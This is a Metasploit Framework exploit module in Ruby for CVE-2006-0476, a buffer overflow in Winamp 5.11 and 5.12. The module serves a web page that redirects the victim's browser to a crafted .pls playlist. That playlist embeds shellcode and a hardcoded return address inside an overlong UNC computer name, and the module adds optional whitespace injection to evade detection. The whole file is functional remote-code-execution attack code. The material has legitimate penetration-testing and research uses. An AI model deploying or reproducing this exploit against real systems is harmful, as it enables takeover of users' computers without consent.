##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Winamp Playlist UNC Path Computer Name Overflow',
			'Description'    => %q{
					This module exploits a vulnerability in the Winamp media player.
				This flaw is triggered when a audio file path is specified, inside a
				playlist, that consists of a UNC path with a long computer name. This
				module delivers the playlist via the browser. This module has only
				been successfully tested on Winamp 5.11 and 5.12.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'hdm',
					'Faithless <rhyskidd[at]gmail.com>'
				],
			'References'     =>
				[
					['CVE', '2006-0476'],
					['OSVDB', '22789'],
					['BID', '16410'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 526,
					'BadChars' => "\x00\x5c\x2f\x0a\x0d\x20",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},

					# Landing on \x5c\x5c trashes esp, restore from ecx
					'PrependEncoder' => "\x87\xe1",
					'StackAdjustment' => -3500,

					# Dont need them, dont want them, preserve esi
					'DisableNops' => true,

				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Return to exe, but don't clobber ecx, 0x0d is replaced by 0x00
					[ 'Winamp 5.12 Universal', { 'Ret' => 0x0d45fece }],
				],
			'DisclosureDate' => 'Jan 29 2006',
			'DefaultTarget'  => 0))

		register_evasion_options(
			[
				OptBool.new('PlaylistSpaceInjection', [false, 'Add junk spaces in between each entry item in the playlist"', 'false'])
			])
	end

	def on_request_uri(cli, request)

		if (not request.uri.match(/\.pls$/i))
			if ("/" == get_resource[-1,1])
				pls_uri = get_resource[0, get_resource.length - 1]
			else
				pls_uri = get_resource
			end
			pls_uri << "/" + rand_text_alphanumeric(rand(80)+16) + ".pls"
			html =
				"<html><body>"+
				"<script>" +
				"document.location='#{pls_uri}'</script>" +
				"One second please...</body></html>"
			send_response_html(cli, html)
			return
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		print_status("Sending #{self.name}")

		# Transmit the compressed response to the client
		send_response(cli, generate_playlist(p), { 'Content-Type' => 'text/plain' })

		# Handle the payload
		handler(cli)
	end

	def generate_playlist(payload)

		pcnt = rand(10)+10;

		file = rand_text_english(1026)
		file[1022  , 4] = [target.ret].pack('V')
		file[0, payload.encoded.length] = payload.encoded

		play =
			"[playlist]\r\n"                 +
				generate_songs(pcnt)         +
				generate_song(pcnt + 1, "\\\\#{file}") +
				generate_line('NumberOfEntries', "#{pcnt+1}") +
				generate_line('Version', '2')
		return play
	end

	def generate_space
		if datastore['PlaylistSpaceInjection'] == true
			return rand_text(rand(100)+1, nil, " \t")
		else
			return ''
		end
	end

	def generate_song(id, file)
		return generate_line("File#{id}", file) +
				generate_line("Title#{id}", rand_text_alphanumeric(rand(64)+1)) +
				generate_line("Length#{id}", "%x" % (rand(1024) + 30))
	end

	def generate_line(key, value)
		return generate_space + key + generate_space + '=' + generate_space + value + generate_space + "\r\n"
	end

	def generate_songs(cnt)
		songs = ''
		1.upto(cnt) do |i|
			songs << generate_song(i, rand_text_alphanumeric(rand(64)+1))
		end
		return songs
	end

end
